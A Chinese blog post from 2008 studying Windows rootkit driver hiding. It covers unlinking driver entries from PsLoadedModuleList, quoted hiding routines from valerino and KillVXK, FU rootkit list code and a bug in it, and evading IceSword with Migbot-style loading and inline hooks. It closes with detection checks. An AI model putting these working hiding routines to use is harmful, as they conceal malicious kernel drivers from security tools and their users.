2008年9月15日星期一

再议摘链大法

Sections :

1. 写在前面的话
2. Please don't greap me too!
3. 从FU Rootkit源代码探求List Module问题的实质
4. FU Rootkit中的一个小Bug
5. 从某版本的atapi.sys瞥一眼IceSword的"内核模块"功能
6. 在IceSword的内核模块列表中隐去
7. "Uninformed"给我们的建议
8. 其它



SECTION [.写在前面的话]
随笔“摘链大法”得到了Raymond前辈的表扬,对此我实在愧不敢当。那篇随笔充其量只是Windbg输出信息的罗列,没有技术含量可言,Raymond前辈本着保护新人的角度,小我先行谢过!

这次的随笔叫做“再议摘链大法”,从名字就可得知本篇是上篇的延续——我想从各种资源中挖掘出更多的有用信息。但是我也深知“挖掘”一词是建立在大量深入细致的反汇编基础上的,这对刚刚研究Win32不到11个月的我来说有些吃力,我只有先做好力所能及的事情了。

如果本随笔能引发您的思考,那我抛砖引玉的目的便达到了;如果您的反问能触发我的反思或是您能指正随笔中的问题及不足,我都将视为一次珍贵的学习过程而感激不尽。

最后引用Sven B. Schreiber的一句话作为开始:To all the people in the world who never stopped asking "Why"。



SECTION [.Please don't greap me too!]
随笔“摘链大法”中提到了KillVXK前辈在CVC上的“谈谈欺骗Darkspy 1.0.5非fix版的驱动隐藏方法” http://www.retcvc.com/cgi-bin/topic.cgi?forum=17&topic=1208&show=100 (wowocock前辈在CVC似乎也改名叫wowocock1?),不过我觉得,完整的攻防故事应该先从这里说起:http://invisiblethings.org/tools.html

Joanna Rutkowska(让我想到了WQXNETQIQI -- MJMM)很久前写了modGREPER 0.1v,其Readme信息如下:

modGREPER 0.1

Joanna Rutkowska, June 2005.
http://invisiblethings.org

modGREPER is a hidden module detector for Windows 2000/XP/2003. It searches through whole kernel memory (0x80000000 - 0xffffffff) in order to find structures which looks like a valid module description objects. // 第一次看到"searches through whole kernel memory"时我和你一样吃惊 // Currently two most important objects type are recognized: well known _DRIVER_OBJECT and _MODULE_DESCRIPTION. GREPER has some sort of artificial intelligence built in, which allows it recognize if the given bytes actually describe a module-specific object. The term AI for this algorithm is probably a little bit exaggerated, // 我对她的AI算法还是很感兴趣的 // since it is just a few bunches of logical rules which should be satisfied by the potential fields of the structure in question.

modGREPER builds a list of found objects, matches them to each other and finally compares this list against the list of kernel modules obtained with documented API (EnumDeviceDrivers). // 传统, 同时也是最有效的做法 //

modGREPER should be able to detect all kinds of modules hiding techniques used today. // 一会就要丢人了,当然自己是不能承认的 :P // Some of the modules are also marked as "SUSPECTED". This applies to (not hidden) modules which corresponding image files are either not present either lie within hidden directories (hidden by rootkit not system). This feature was added because, sadly, most of the rootkits do not even try to hide their kernel modules against API!

modGREPER is also able to find and display the list of unloaded kernel modules. This way it is sometime possible to detect also more advanced driverless kernel rootkits. However the list has some limitations - it is of a limited capacity and contains only a module base name (no path included).



紧接着,意大利小伙valerino在Rootkit.com上对"半边天"发出了挑战+挑衅(The ball is up to you now..... ^_^) —— 《Please don't greap me!》 http://rootkit.com/newsread.php?newsid=316

Please don't greap me!

Ciao gianna // 这个玩笑开大了,不过Joanna似乎不介意 // (and ciao all),
First of all thank you for waking my interest up in this hot summer...... // 现在又是一个炎热的夏天 // you know, sun, beach, etc... keeps me a bit away from the keyboard.

Anyway, here's the code to defeat your scanner (as you can see, it's the standard hide routine for PsLoadedModuleList, // 代码取自 FU Rootkit,看来这东西果然是所谓的"标准"了,后面的随笔,我们再来好好的玩玩这Rootkit // but with a few tweaks) :


//**********************************************
// VOID ModuleHide(PDRIVER_OBJECT MyDrvObj)
//
// Hide module from PsLoadedModuleList
//**********************************************
VOID ModuleHide(PDRIVER_OBJECT MyDrvObj)
{
// disable this routine on debug builds, since windbg seems to have problem loading symbols if the module is hidden :)
// and.... do not use this routine in INIT section!!

PMODULE_ENTRY pCurrentModule = NULL; // 又是这个无趣的结构,唉 //

// at DriverSection pointer there is PsLoadedModuleList
pCurrentModule = *((PMODULE_ENTRY*)((DWORD)MyDrvObj->DriverSection));
if (pCurrentModule == NULL)
return;

// We get its Flink pointer to start scan for drivername, since the head do not have a name
pCurrentModule = (MODULE_ENTRY*)pCurrentModule->le_mod.Flink; // 循环问题我们要详细讨论 //

while (TRUE)
{
if (pCurrentModule->driver_Path.MaximumLength > 3 && pCurrentModule->driver_Path.Buffer)
{
if (Utilwcsstrsize(pCurrentModule->driver_Path.Buffer,
DEFAULT_TROJAN_DRIVERNAME,pCurrentModule->driver_Path.Length,
wcslen(DEFAULT_TROJAN_DRIVERNAME) * sizeof (WCHAR),FALSE))
{
// clear base and name in current module entry (to avoid raw-memory scanning)
pCurrentModule->driver_Name.Buffer = NULL;
pCurrentModule->driver_Path.MaximumLength = 0;
pCurrentModule->driver_Path.Length = 0;
pCurrentModule->base = 0;
pCurrentModule->driver_start = 0;

// clear base and name in driverobject (to avoid raw-memory scanning)
MyDrvObj->DriverStart = 0;
MyDrvObj->DriverName.Buffer = NULL;
MyDrvObj->DriverName.MaximumLength = 0;
MyDrvObj->DriverName.Length = 0;

// hide
pCurrentModule->le_mod.Blink->Flink = pCurrentModule->le_mod.Flink;
pCurrentModule->le_mod.Flink->Blink = pCurrentModule->le_mod.Blink;
KDebugPrint (1,("%s Module hidden from PsLoadedModuleList OK.\n",MODULE));
break;
}
}

// next module
pCurrentModule = (MODULE_ENTRY*)pCurrentModule->le_mod.Flink;
}
}

Well.... there could be some other fields to clear, but basically the approach to be used for this sort of scanning is this. Clear stuff until the scanner won't recognize your module (and the OS do not complain). // 说的非常好,这就是问题的实质! // If the scanner can find a field which if mangled leads the OS to crash, that's an effective scanner.

The ball is up to you now.....
Happy Christmas! // 这是怎么话说的这是?? //



然后论战开始了:
not elegant :/

first of all, thanks for prompt answer. but I must say, your method is not very elegant. // 怒了怒了啊~ // it actually disappointed me a little bit...:( you just tweaked your hiding method to my specific tool. // 嘿... 我认为——攻防到后来实际就是高手之间的"点杀" // if I released tomorrow modGREPER 0.2 which would for example search for _DEVICE_OBJECTs (which you use for your filter drivers, don't you?) what would you do then? it is not difficult to bypass a specific detector - what is interesting is to bypass a whole class of detectors. // 说的是!成天"点杀"对反汇编水平有益,但是不是王道 //

More general techniques for dealing with such detectors are either driverless rootkits (which I talked about some time ago in response to your "proper driver hiding method" and which is used by he4hook for ex) or tricks with memory manger, // Bingo! // which I guess is what fuzen and sherri are going to show us at the end of july...

joanna aka gianna ;) // 还真的没生气呢~ //



valerino开始精彩的反击:

Hi gianna :)

First of all, its ELEGANT, since i've not tweaked my hiding code to your specific tool.... i just used BRAIN. // 哈哈哈 // I haven't reversed a single line of your code, i just tried your tool, tested with my rootkit (rootkit detected), thought to the only thing that you could have searched for, // 经验可以,一看就知道是干过坏事的人~ // and in 5 minutes i've tweaked my code and it worked. So it's not specific for your tool, but for every other tool working in the same way.

The point is that your (or similar) tools can be attached very easily, unless you find something which, if modified, can lead the OS to crash. You search for device_objects ? ok, i screw up device_object data in a way that you can't determine if it's a good device_object or just raw data. That's the point.... // 非常精彩非常精彩,真是一语道破——就像joanna在她介绍中所说的一样:"valid module description objects"——这实际是工作的基石。valid必定是有标准的,你是怎么判断的,我就怎么tweak,That's the point! //

Anyway, i wonder what they (fuzen/sherri) could have found about that. To my knowledge there's no much methods left to hide a rootkit, except for russinovich's ones (reading raw filesystem/registry data). The only reliable way to find a rootkit, nowadays, i think it's indeed rootkitrevealer's way, // 差距惊人,不作评论 // for rootkits which hides files. This is 100% attack-proof.

About he4hook, i haven't examined that. // me too // What it does so special ?



好了,看到这,再让我们学习下Killvxk的代码:

// 处理模块,欺骗Darkspy //
// 传入参数drvobj //
void ProModule(PDRIVER_OBJECT drvobj)
{
PLDR_MODULE section = (PLDR_MODULE)drvobj->DriverSection;
if (section != NULL)
{
section->DllBase = 0;
section->EntryPoint = 0;
section->SizeOfImage = 0;
section->CheckSum = 0;
memzero(section->BaseDllName.Buffer, section->BaseDllName.MaximumLength);
memzero(section->FullDllName.Buffer, section->FullDllName.MaximumLength);
drvobj->DriverSection = 0; // 手法有过之而无不及... //
}

return ;
}


好一个 Joanna's modGREPER VS. valerino's code && wowocock's Darkspy VS. killvxk's code !
到这里,您大概理解问题发生的原因了吗?如果还是不理解,我们将在下个SECTION基于FU Rootkit源代码详细分析问题的实质~ ^_^



SECTION [.从FU Rootkit源代码探求List Mode问题的实质]
您还在Ring3像下面这样费劲巴力的搜索"PsLoadedModuleList"的地址?

pMmGetSystemRoutineAddress = (DWORD)GetProcAddress(LoadLibrary("ntoskrnl.exe"), "MmGetSystemRoutineAddress");
printf("MmGetSystemRoutineAddress : %08X \n", pMmGetSystemRoutineAddress);

__asm
{
_loop:
inc pMmGetSystemRoutineAddress
mov eax, pMmGetSystemRoutineAddress
cmp word ptr [eax], 0x358B // mov esi,[nt!PsLoadedModuleList] 也就是:8b35????????
jne _loop

// jump over 2 Bytes 也就是跳过:8b35
inc pMmGetSystemRoutineAddress
inc pMmGetSystemRoutineAddress
}

PsLoadedModuleList = (*(DWORD *)pMmGetSystemRoutineAddress);


或是这样费劲的在 "_KPCR" 的KdVersionBlock域中参考wdbgexts.h中的定义,然后写下面的代码? 当然,Edgar Barbosa的原创性工作除外!
("Finding some non-exported kernel variables in Windows XP" VS. "获取Windows 系统的内核变量" :P )

DWORD *GetPsLoadedModuleList()
{
DWORD *address = 0x00000000;

__asm
{
mov eax, fs:[0x34]; // Get address of KdVersionBlock
mov eax, [eax+0x18]; // Get address of PsLoadedModuleList
mov address, eax;
}

return address;
}


您为什么不试试驱动呢? 就像随笔“摘链大法”中所说的: "+0x014 DriverSection : Ptr32 Void" 域多方便啊~ ^_^
像这样的写法 "pm_current = *((PMODULE_ENTRY*)((DWORD)DriverObject + 0x14));" 其实都有一些哗众取宠的嫌疑,我们干脆就简简单单的这样写:

PLDR_DATA_TABLE_ENTRY Section = DriverObject->DriverSection;

扯远了扯远了,但不管怎么说上述三种方法都可以获取内核模块的列表,下面关键的问题是怎么遍历 —— 因为遍历的不好就有可能给valerino or killvxk等钻了空子。

我还没有反汇编过modGREPER的List Module模块,Darkspy也了解的很少,但我手头至少有FU Rootkit的源代码 —— FU具有List Module的功能,从这里我们就可以窥见一斑了。源代码是这样的:

638 pm_current = gul_PsLoadedModuleList;
639
640 while ((PMODULE_ENTRY)pm_current->le_mod.Flink != gul_PsLoadedModuleList)
641 {
642 //DbgPrint("Module at 0x%x unk1 0x%x path.length 0x%x name.length 0x%x\n", pm_current, pm_current->unk1, pm_current->driver_Path.Length, pm_current->driver_Name.Length);
643 // This works on Windows XP SP1 and Windows 2003.
644 if ((pm_current->unk1 != 0x00000000) && (pm_current->driver_Path.Length != 0))
645 {
646 DbgPrint("Driver: %ws\n", pm_current->driver_Name.Buffer);
647 }
648 pm_current = (MODULE_ENTRY*)pm_current->le_mod.Flink;
649 }


不管怎样您都能看出 —— 640行开始循环遍历链表,644行是驱动对象成立的判断条件,648行是移向链表的下一个节点。
呵呵,简洁的代码,不过简洁往往意味着简单,而简单往往意味着简陋!
Butler认为一个驱动对象成立的条件有两点:(1)驱动的SizeOfImage不为0、(2)Unicode串driver_Path是有名字的,违反上述任意规则的结构都不会出现在Dbgview的输出里。那么 —— 想逃避FU的 List Module 功能也太简单了吧...... 虽然它不是做这个的~
反过来再看valerino 以及 killvxk的代码,您是不是彻底理解问题了呢?

最后是个小结:
Joanna Rutkowska 以及这类工具的基石就是 —— in order to find structures which looks like a valid module description objects. 这就像入侵检测,它总要有一个判断的依据。而攻击者 valerino 以及 killvxk他们要做的是Clear stuff until the scanner won't recognize / screw up the data in a way that you can't determine if it's a good object or just raw data. That's the point!!! ^_^



SECTION [.FU Rootkit中的一个小Bug]
意大利小伙valerino号称 in 5 minutes 搞定modGREPER 0.1v,那么我便是玩 FU Rootkit in 5 minutes 就找出了它的一个小Bug 嘿嘿~
(1.我同时参考了FU的源代码 2.我没有Google过,但我确信肯定有“玩家”早就发现了这个小问题 3.FU可能还有类似的其它问题)

问题出在 IOCTL_ROOTKIT_HIDEDRIV 功能上,那“简洁”的代码如下:

679 while ((PMODULE_ENTRY)pm_current->le_mod.Flink != gul_PsLoadedModuleList)
680 {
681 //DbgPrint("Module at 0x%x unk1 0x%x path.length 0x%x name.length 0x%x\n", pm_current, pm_current->unk1, pm_current->driver_Path.Length, pm_current->driver_Name.Length);
682 // This works on Windows XP SP1 and Windows 2003.
683 if ((pm_current->unk1 != 0x00000000) && (pm_current->driver_Path.Length != 0))
684 {
685 if (RtlCompareUnicodeString(&uni_hide_DriverName, &(pm_current->driver_Name), FALSE) == 0)
686 {
687 *((PDWORD)pm_current->le_mod.Blink) = (DWORD) pm_current->le_mod.Flink;
688 pm_current->le_mod.Flink->Blink = pm_current->le_mod.Blink;
689 //DbgPrint("Just hid %s\n",hide_DriverName.Buffer);
690 break;
691 }
692 }
693 pm_current = (MODULE_ENTRY*)pm_current->le_mod.Flink;
694 }


不管怎样您都能看出 —— 679行开始循环遍历链表,683行是“有漏洞的”驱动对象成立判断条件,685行是“摘链大法”,693行是移向链表的下一个节点。

我看这句话第一眼 "while ((PMODULE_ENTRY)pm_current->le_mod.Flink != gul_PsLoadedModuleList)" ,我就明白了所谓的 ModuleList 不是双向链表这么简单,而是双向循环链表。循环让您想到什么?反正我第一个想到的是 —— 死循环。
带着问题出发,启动FU,摘掉 msdirectx.sys,"Fu.exe -pld" —— FU从此掉入死循环而无法自拔了......

我想不需要我再过多的解释什么了,上述信息足够了。再看看前面valerino的代码是怎么循环的:

// We get its Flink pointer to start scan for drivername, since the head do not have a name
pCurrentModule = (MODULE_ENTRY*)pCurrentModule->le_mod.Flink;

靴子国度的人因为要摘掉自己驱动的信息,所以从“自己驱动的前一项”循环遍历到“自己驱动的前一项”。呵呵,要是有一个驱动刚巧能摘掉“valerino驱动的前一项”,那么他也要郁闷了~ 而且从Flink开始遍历的效率始终近似于最差值。

(链表遍历法)无论从哪一个节点开始循环遍历,这个节点都有被摘掉的潜在风险,那么如何解决这个问题呢?
(1) Peter Silberman & C.H.A.O.S. 写了 FU Rootkit 的改进型 —— FUTO Rootkit,他们的做法是 —— 去掉 List Module 功能......
(2) 像IceSword那样分析一个"加载顺序"出来,遍历到下一个节点的加载数值小于现在节点的加载数值时,我们便认为即将步入死循环。
(3) 试着从Ntoskrnl.exe开始遍历,把Ntoskrnl.exe从链上摘除是需要勇气的,我这里实验的结果皆是BSOD,当然,我可能是错误的。



SECTION [.从某版本的atapi.sys瞥一眼IceSword的"内核模块"功能]
(下面的信息本应该基于反汇编,但我这里只是对IceSword进行简单的分析。本人初学者,还没有像WuYanFeng那样的水平)
事情起源于我机器上的 atapi.sys (IDE/ATAPI Port Driver)其大小为93.1KB,它在IceSword(1.20版 061022)中是这样显示的(NOTE : 并不是所有版本的atapi.sys都这样):

文件名 基址 映像大小 标志 加载顺序
========== ========== ========== ========== ==========
atapi.sys -------- -------- -------- --------
ntoskrnl.exe 0x804D8000 0x00214380 0x0C004000 0
hal.dll 0x806ED000 0x00020380 0x0C004000 1
KDCOM.DLL 0xF7BD9000 .......... .......... 2
BOOTVID.dll .......... .......... .......... 3
bootcfg.sys .......... .......... .......... 4
ACPI.sys .......... .......... .......... 5
WMILIB.SYS .......... .......... .......... 6
pci.sys .......... .......... .......... 7
OsiData.sys .......... .......... .......... 8
cpthook.sys .......... .......... .......... 9
isapnp.sys .......... .......... .......... 10
pnpshark.sys .......... .......... .......... 11
PCIIde.sys .......... .......... .......... 12
PCIIDEX.sys .......... .......... .......... 13
MountMgr.sys .......... .......... .......... 14
ftdisk.sys .......... .......... .......... 15
dmload.sys .......... .......... .......... 16
dmio.sys .......... .......... .......... 17
siside.sys .......... .......... .......... 18
PartMgr.sys .......... .......... .......... 19
VolSnap.sys .......... .......... 0x09004000 20
0xF754C000 0x00018000 0x09004000 21 // 名字显示为NULL //
.......... .......... .......... .......... ...


本不应该有人隐藏了什么,所以我觉得很好奇——面对 atapi.sys IceSword 这是怎么了?而我这里自己的代码显示输出是这样的:

Driver: ntoskrnl.exe
Driver: hal.dll
Driver: kdcom.dll
Driver: BOOTVID.dll
Driver: bootcfg.sys
Driver: ACPI.sys
Driver: WMILIB.SYS
Driver: pci.sys
Driver: OsiData.sys
Driver: cpthook.sys
Driver: isapnp.sys
Driver: pnpshark.sys
Driver: PCIIde.sys
Driver: PCIIDEX.SYS
Driver: MountMgr.sys
Driver: ftdisk.sys
Driver: dmload.sys
Driver: dmio.sys
Driver: siside.sys
Driver: PartMgr.sys
Driver: VolSnap.sys
Driver: atapi.sys
Driver: .........


显然IS有些许问题,用Windbg瞅瞅~

kd> !object \Driver\atapi
Object: 85f4d428 Type: (85fa33b0) Driver
ObjectHeader: 85f4d410
HandleCount: 0 PointerCount: 12
Directory Object: e1008c40 Name: atapi


kd> dt nt!_DRIVER_OBJECT 85f4d428
+0x000 Type : 4
+0x002 Size : 168
+0x004 DeviceObject : 0x85fdf040 _DEVICE_OBJECT
+0x008 Flags : 0x12
+0x00c DriverStart : 0xf754c000
+0x010 DriverSize : 0x17480
+0x014 DriverSection : 0x85febad8
+0x018 DriverExtension : 0x85f4d4d0 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING "\Driver\atapi"
+0x024 HardwareDatabase : 0x8068eb10 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
+0x028 FastIoDispatch : (null)
+0x02c DriverInit : 0xf75615f7 long Unknown_Module_f754c000!GsDriverEntry+0
+0x030 DriverStartIo : 0xf75537c6 void Unknown_Module_f754c000!IdePortStartIo+0
+0x034 DriverUnload : 0x854b0060 void +ffffffff854b0060
+0x038 MajorFunction : [28] 0x854b0008 long +ffffffff854b0008


kd> dt nt!_LDR_DATA_TABLE_ENTRY 0x85febad8
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x85feba68 - 0x85febb40 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0xf7557d50 - 0x1 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x018 DllBase : 0xf754c000
+0x01c EntryPoint : 0xf75615f7
+0x020 SizeOfImage : 0x18000
+0x024 FullDllName : _UNICODE_STRING " "
+0x02c BaseDllName : _UNICODE_STRING "atapi.sys"
+0x034 Flags : 0x9004000
+0x038 LoadCount : 1
+0x03a TlsIndex : 0
+0x03c HashLinks : _LIST_ENTRY [ 0x0 - 0x208fa ]
+0x03c SectionPointer : (null)
+0x040 CheckSum : 0x208fa
+0x044 TimeDateStamp : 0x85ffc119
+0x044 LoadedImports : 0x85ffc119
+0x048 EntryPointActivationContext : (null)
+0x04c PatchInformation : 0x00740061


分析到这,我们已经可以臆断一些东西了:
(1) IceSword“内核模块”的“基址”一项取自"_DRIVER_OBJECT +0x00c DriverStart"(可能性非常小) OR "_LDR_DATA_TABLE_ENTRY +0x018 DllBase"。
(2) IceSword“内核模块”的“镜像大小”一项取自"_LDR_DATA_TABLE_ENTRY +0x020 SizeOfImage"。
(3) IceSword“内核模块”的“标志”一项取自"_LDR_DATA_TABLE_ENTRY +0x034 Flags"。
(4) 和我们这里相关的,IceSword“内核模块”的“文件名”和“名称”应该均取自"_LDR_DATA_TABLE_ENTRY +0x024 FullDllName",其中前者在输出时做了截断,只保留了文件名。

而我们可以看到,我机器上 atapi.sys 的 _LDR_DATA_TABLE_ENTRY结构 +0x024 FullDllName 域的Unicode串信息为 NULL。IceSword若以 FullDllName 而不是 BaseDllName 取模块名的话,自然它就取不到了~


那么,下面的显示又是怎么回事呢?我怀疑这和SCM有关,我猜测IceSword可能还在SCM数据库那取了数据以供对比。
atapi.sys -------- -------- -------- --------


为了验证一下我的说法,我在链表上随机摘掉了一些驱动,IceSword的显示是这样的:

文件名 基址 映像大小 标志 加载顺序
========== ========== ========== ========== ==========
atapi.sys -------- -------- -------- --------
Beep.sys -------- -------- -------- --------
Srv.sys -------- -------- -------- --------
111.sys -------- -------- -------- --------
ntoskrnl.exe 0x804D8000 0x00214380 0x0C004000 0
hal.dll 0x806ED000 0x00020380 0x0C004000 1
KDCOM.DLL 0xF7BD9000 .......... .......... 2
BOOTVID.dll .......... .......... .......... 3
bootcfg.sys .......... .......... .......... 4
ACPI.sys .......... .......... .......... 5
WMILIB.SYS .......... .......... .......... 6
pci.sys .......... .......... .......... 7
OsiData.sys .......... .......... .......... 8
cpthook.sys .......... .......... .......... 9
isapnp.sys .......... .......... .......... 10


分析之:
(1) 我从驱动链表中抹掉了这些驱动节点,可他们的信息仍然被IceSword获取 —— 特别是“名称”一项(即驱动文件的路径),这个信息是由SCM管理的。
(2) 我特地从驱动链表中抹掉了FU Rootkit的驱动——msdirectx.sys,而IceSword显示的“文件名”是111.sys。111是我加载FU Rootkit时起的驱动名——这个信息是由SCM管理的。

所以,我对我的猜测有一定的把握。当然,很有可能我的猜测是错误的。

本SECTION的小结 / 臆断:
(1) 1.20版IceSword (061022)取模块名基于 _LDR_DATA_TABLE_ENTRY 结构的 FullDllName 域。而我机器的 atapi.sys 已经让显示出了些许小问题~
(2) 单纯的“摘驱动”似乎躲不过IceSword,而且取不到信息的模块还很惹眼...... 当然办法总是有的,加载时不经过SCM就是了~ ^_^



SECTION [.在IceSword的内核模块列表中隐去]
上面我们已经分析了如何摘除驱动信息,并在IceSword (1.20版 061022)里留下少量但是惹眼的残余信息,那么如何针对IS做到较为彻底的驱动隐藏呢?
通过我前面的分析 / 臆断可知:这些残余信息应该是来自SCM的,那么加载驱动时不经过SCM似乎就能够绕开IceSword了,让我们来实验一下。

加载驱动不经过SCM的方法有很多,由于我只是验证所以不玩复杂的,ZwSetSystemInformation()法就够用了。当然,提到ZwSetSystemInformation()就不能不先提到始祖 —— Migbot Rootkit,Migbot代码有较好的学习价值,这体现在三个方面:
(1) PE格式资源Section捆绑SYS
(2) ZwSetSystemInformation()法加载驱动
(3) Detours Patch技术

不过,Rootkit.com上直接下载来的Migbot在我的 Win-XP SP2 中文版上是不能跑的,原因有两点:
(1) 两个目标函数的前同步码(Preamble)发生了改变
(2) 两个目标函数是只读的

解决第一个问题是很好办的~ 还是启Windbg:

kd> u nt!NtDeviceIoControlFile
nt!NtDeviceIoControlFile:
8057e257 8bff mov edi,edi
8057e259 55 push ebp
8057e25a 8bec mov ebp,esp
8057e25c 6a01 push 1
8057e25e ff752c push dword ptr [ebp+2Ch]
8057e261 ff7528 push dword ptr [ebp+28h]
8057e264 ff7524 push dword ptr [ebp+24h]
8057e267 ff7520 push dword ptr [ebp+20h]


前同步码已经由:
55 PUSH EBP
8BEC MOV EBP, ESP
6A01 PUSH 01
FF752C PUSH DWORD PTR [EBP + 2C]
......................

改成了:
8BFF MOV EDI, EDI
55 PUSH EBP
8BEC MOV EBP, ESP
6A01 PUSH 01
......................

非常好,因为JMP是7字节(说到这里肯定有Shellcoder要抱怨了 —— 平坦模式下明明可以再节省2个字节的空间... 呵呵,Easy easy 我只是为了说明M1gbot本身~),现在的前同步码产生的指令碎屑更少~ 函数SeAccessCheck也是如此:

kd> u nt!SeAccessCheck
nt!SeAccessCheck:
80564cc8 8bff mov edi,edi
80564cca 55 push ebp
80564ccb 8bec mov ebp,esp
80564ccd 53 push ebx
80564cce 33db xor ebx,ebx
80564cd0 385d24 cmp byte ptr [ebp+24h],bl
80564cd3 0f8440ce0000 je nt!SeAccessCheck+0xd (80571b19)
80564cd9 395d08 cmp dword ptr [ebp+8],ebx


前同步码已经由:
55 PUSH EBP
8BEC MOV EBP, ESP
53 PUSH EBX
33DB XOR EBX, EBX
385D24 CMP [EBP+24], BL
......................

改成了:
8BFF MOV EDI, EDI
55 PUSH EBP
8BEC MOV EBP, ESP
53 PUSH EBX
33DB XOR EBX, EBX
......................


要解决第二个问题就更简单了,用MDL的方法或是改变CR0寄存器的WR,随你~ ^_^

接下来启动新版的Migbot Rootkit,还可以躲过诺顿,再分析一下: // 无聊而粗浅的东西,只是为了演示 //
kd> u nt!NtDeviceIoControlFile
nt!NtDeviceIoControlFile:
8057e257 ea18d500850800 jmp 0008:8500D518
8057e25e ff752c push dword ptr [ebp+2Ch]
8057e261 ff7528 push dword ptr [ebp+28h]
8057e264 ff7524 push dword ptr [ebp+24h]
8057e267 ff7520 push dword ptr [ebp+20h]
8057e26a ff751c push dword ptr [ebp+1Ch]
8057e26d ff7518 push dword ptr [ebp+18h]
8057e270 ff7514 push dword ptr [ebp+14h]


分析进去,这就是傻乎乎的Migbot:
kd> u 8500D518
8500d518 8bff mov edi,edi
8500d51a 55 push ebp
8500d51b 8bec mov ebp,esp
8500d51d 6a01 push 1
8500d51f ea5ee257800800 jmp 0008:8057E25E
8500d526 cc int 3
8500d527 cc int 3
8500d528 cc int 3


SeAccessCheck也是一样,不多分析了:
kd> u nt!SeAccessCheck
nt!SeAccessCheck:
80564cc8 ea4882e7840800 jmp 0008:84E78248
80564ccf 90 nop
80564cd0 385d24 cmp byte ptr [ebp+24h],bl
80564cd3 0f8440ce0000 je nt!SeAccessCheck+0xd (80571b19)
80564cd9 395d08 cmp dword ptr [ebp+8],ebx
80564cdc 0f84cac80900 je nt!SeAccessCheck+0x3b (806015ac)
80564ce2 56 push esi
80564ce3 8b750c mov esi,dword ptr [ebp+0Ch]


当然,我们的偶像也没少用这种Inline Hook技术,针对 Native API 貌似用了6处呢:
kd> u nt!NtOpenProcess
nt!NtOpenProcess:
*** ERROR: Module load completed but symbols could not be loaded for IsDrv120.sys
80573d06 e991981571 jmp IsDrv120+0x859c (f16cd59c)
80573d0b 6810b44e80 push offset nt!ObWatchHandles+0x25c (804eb410)
80573d10 e826f7f6ff call nt!_SEH_prolog (804e343b)
80573d15 33f6 xor esi,esi
80573d17 8975d4 mov dword ptr [ebp-2Ch],esi
80573d1a 33c0 xor eax,eax
80573d1c 8d7dd8 lea edi,[ebp-28h]
80573d1f ab stos dword ptr es:[edi]


用新的Migbot试过以后(摘驱动)我们发现 —— 驱动信息确实可以在IceSword中隐藏,也就是说,我的假设基本正确。
不过这种方法没法躲过Darkspy,只有上反汇编了...... 另外,DS在我的机器上一跑就BSOD,莫非我的机器真如CardMagic通用解释 —— 病入膏肓了?!
就暂时先写到这吧~



SECTION [."Uninformed"给我们的建议]
Uninformed.org是个挺好的地方,资料挺多。推荐一篇他们的文章供大家学习,叫做《GREPEXEC - Grepping Executive Objects from Pool Memory》。文章中关于 Driver Objects 识别有一些非常好的建议,供大家参考:

Here is a brief list of things to check when scanning for DRIVER OBJECT objects.
• Compare against services found in the service control manager database.
• Compare against a system call such as nt!NtQuerySystemInformation.
• Is the object in the global system namespace?
• Does the driver own any valid device objects?
• Does the drive base address point to a valid MZ header?
• Do the object’s function pointer fields look correct?
• Does DriverSection point to a valid nt! LDR DATA TABLE ENTRY?
• Does DriverName or the LDR DATA TABLE ENTRY have valid strings? zeroed? garbage?



SECTION [.其它]
(1) 其实,要结构就去下个ReactOS,自己去找,要的结构都有的。

(2) 64位的看这里:http://www.nirsoft.net/kernel_struct/vista/index.html
例如:http://www.nirsoft.net/kernel_struct/vista/LDR_DATA_TABLE_ENTRY.html

// 非常好的工作,我也想实现一个!最好是写成Windbg的插件,用的更方便! ^_^ //
"and then I created a complex script that converted these data structures into C/C++ format."



NUPT - WANG yu

没有评论: